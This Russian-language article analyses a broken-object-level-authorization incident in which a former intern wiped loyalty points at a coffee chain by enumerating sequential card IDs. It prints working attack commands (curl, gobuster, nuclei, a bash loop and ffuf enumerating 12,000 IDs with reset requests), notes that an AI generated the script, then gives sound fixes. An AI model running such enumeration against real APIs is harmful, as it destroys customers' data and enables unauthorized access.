Сеть кофеен с программой лояльности на несколько городов потеряла бонусные баллы почти у всех активных клиентов за одну ночь. Колл-центр захлебнулся звонками, маркетинг три дня разгребал последствия, а виновником оказался не хакер, а бывший практикант, который две недели назад проходил у них летнюю стажировку и от скуки решил «просто посмотреть, как это устроено».
История банальна до обидного: никакого взлома в классическом смысле не было. Была система, которая принимала команды от кого угодно, если тот знал номер карты. А номера карт выдавались по порядку — 100001, 100002, 100003...
Дыра, о которой никто не думал
Технически это называется Broken Object Level Authorization — уязвимость №1 в рейтинге OWASP API Security Top 10 (категория API1:2023). Суть простая: сервер проверяет, что запрос синтаксически корректен, но не проверяет, имеет ли отправитель право оперировать именно этим объектом — в данном случае конкретной картой лояльности другого человека.
В реальных проектах эта же ошибка регулярно всплывает под разными масштабами — от школьников, обнулявших подписки на стриминговых сервисах перебором ID аккаунтов, до банковских мобильных API, где через подмену параметра account_id можно было увидеть чужой баланс. Природа одна и та же: доверие к параметру запроса вместо проверки владения ресурсом.
Как это эксплуатируется
Ниже — типовой путь атаки на такую систему, без привязки к конкретному пострадавшему. Именно так строится атака на любой похожий сервис лояльности.
Шаг 1. Разведка API
Практикант, имея легитимный доступ к личному кабинету, просто открыл вкладку Network в DevTools браузера и посмотрел, какие запросы уходят на бэкенд при списании или начислении баллов. То же самое можно сделать через перехват трафика в Burp Suite или mitmproxy.
POST /api/loyalty/v1/card/redeem HTTP/1.1
Host: api.example-coffee.ru
Content-Type: application/json
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
{"card_id": 100482, "action": "reset_points"}
Ключевой момент: сервер возвращал 200 OK даже когда запрос отправлялся без валидной сессии — только с параметром card_id. Это легко проверить прицельным curl-запросом без куки:
curl -i -X POST https://api.example-coffee.ru/api/loyalty/v1/card/redeem \
-H "Content-Type: application/json" \
-d '{"card_id": 100482, "action": "reset_points"}'
HTTP/1.1 200 OK
Content-Type: application/json
{"status":"ok","points_balance":0}
Шаг 2. Поиск эндпоинтов и структуры API
Если бы эндпоинт не был очевиден из перехваченного трафика, его несложно было бы найти брутфорсом путей:
gobuster dir -u https://api.example-coffee.ru/api/loyalty/v1 \
-w /usr/share/wordlists/api-endpoints.txt -t 50
===============================================================
/card (Status: 200)
/card/redeem (Status: 200)
/card/balance (Status: 200)
/card/history (Status: 401)
===============================================================
Или тем же самым, но специализированным сканером под API:
nuclei -u https://api.example-coffee.ru -t exposures/apis/ -t vulnerabilities/generic/
[INFO] [broken-object-level-authz] [http] [medium]
https://api.example-coffee.ru/api/loyalty/v1/card/redeem
Шаг 3. Перебор номеров карт
Дальше остаётся автоматизировать то, что руками делать бессмысленно. Именно на этом этапе практиканту помогла нейросеть — она сгенерировала простой скрипт по описанию задачи в разговорной форме, без единой строчки кода, написанной вручную.
for id in $(seq 100000 112000); do
curl -s -o /dev/null -w "%{http_code} card_id=$id\n" \
-X POST https://api.example-coffee.ru/api/loyalty/v1/card/redeem \
-H "Content-Type: application/json" \
-d "{\"card_id\": $id, \"action\": \"reset_points\"}"
done
Или тот же самый перебор — через ffuf, что быстрее и удобнее логируется:
seq 100000 112000 > ids.txt
ffuf -u https://api.example-coffee.ru/api/loyalty/v1/card/redeem \
-X POST -d '{"card_id": "FUZZ", "action": "reset_points"}' \
-H "Content-Type: application/json" \
-w ids.txt -mc 200 -t 30
:: Progress: [12000/12000] :: Job [1/1] :: 340 req/sec
[Status: 200, Size: 34] card_id=100001
[Status: 200, Size: 34] card_id=100002
[Status: 200, Size: 34] card_id=100003
...
Никакого rate limiting, никакой капчи, никакой блокировки по частоте запросов с одного IP — сервер спокойно обработал 12 000 запросов за несколько минут. За одну ночь скрипт прошёлся по всему диапазону активных карт.
Что и почему сработало бы дальше
Обнуление баллов — самый безобидный сценарий из возможных. Тот же самый эндпоинт с той же самой уязвимостью открывает куда более неприятные пути:
- Начисление баллов себе или третьим лицам — если эндпоинт принимает не только
reset_points, но иadd_points, злоумышленник обналичивает бонусы через бесплатные позиции в меню. - Полный слив базы клиентов — если
/card/historyили/card/profileотдаёт ФИО, телефон, дату рождения по тому жеcard_id, перебор превращается в утечку персональных данных 12 000+ человек, что уже подпадает под 152-ФЗ с оборотными штрафами. - Атака на другие сервисы через переиспользование пароля — если админка использовала тот же пароль три года подряд (как и оказалось в этом случае), полученные из истории обращений email-адреса клиентов можно проверить на утечки через сервисы типа Have I Been Pwned, а затем прогнать по актуальным базам паролей через hydra или hashcat при получении дампа хешей.
- Репутационная атака — скриншоты обнулённых балансов в локальных пабликах города появляются быстрее, чем официальный комментарий пресс-службы, и это уже не техническая, а управленческая проблема.
Полутехнические пруфы, на которые стоило обратить внимание заранее
- Инкрементные числовые ID в URL или теле запроса вместо UUID — верный признак потенциального IDOR/BOLA.
- Отсутствие заголовка
Authorization: Bearerв запросах на изменение состояния — сервис ориентируется только на тело запроса. - Ответ
200 OKна запрос без валидной сессии или с чужимcard_id— сервер не сверяет владельца ресурса с автором запроса. - Отсутствие лимитов — 300+ запросов в секунду с одного IP не вызывают ни блокировки, ни алерта.
- Пустые логи приложения — при разборе инцидента невозможно восстановить, с какого IP и когда шёл перебор, потому что журналирование на уровне API вообще не велось.
Как закрыть
Аудит занял два дня. Помимо самой дыры вскрылось несколько сопутствующих проблем: пароли администратора панели управления не менялись три года, а логи запросов к API вообще не велись. Комплекс мер занял неделю:
- Проверка владения ресурсом на каждый запрос. Сервер должен сверять не только валидность JWT-токена, но и то, что
card_idв теле запроса принадлежит именно этому авторизованному пользователю:if (token.user_id !== db.getCardOwner(request.card_id)) { return res.status(403).json({error: "forbidden"}); } - Rate limiting на уровне API-gateway или nginx, чтобы перебор тысяч ID за минуты стал технически невозможен:
limit_req_zone $binary_remote_addr zone=loyalty_api:10m rate=5r/s; location /api/loyalty/ { limit_req zone=loyalty_api burst=10 nodelay; proxy_pass http://backend; } - Замена последовательных номеров карт на непредсказуемые идентификаторы (UUID v4 или случайные 12-значные номера с проверкой контрольной суммы) — перебор становится вычислительно бессмысленным.
- Журналирование действий с картами — кто, когда и с какого IP менял баланс, с хранением логов не менее 90 дней для последующего расследования.
- Мониторинг аномалий и алерты — при резком росте частоты запросов к одному эндпоинту с одного IP или юзер-агента система должна сама сигнализировать ответственному, а не ждать жалоб клиентов через сутки.
- Регулярная ротация паролей и сервисных токенов админ-панели, минимум раз в 90 дней, плюс двухфакторная аутентификация для административного доступа.
Работа заняла неделю и обошлась в разы дешевле одной волны компенсаций, которую бизнес уже пережил: около 380 000 рублей на возврат баллов клиентам, три дня работы поддержки и маркетинга вместо обычных задач, плюс репутационные посты в местных пабликах с формулировкой «у них там всё взломали». Сравнивать стоимость аудита с суммой этих убытков даже неловко — цифры несопоставимые.
Самое обидное в этой истории — что закрыть дыру можно было заранее, ещё на этапе разработки, обычным код-ревью с чек-листом OWASP API Security Top 10, без всякого практиканта и без нейросети, которая просто ускорила то, что рано или поздно нашёл бы кто-то другой.
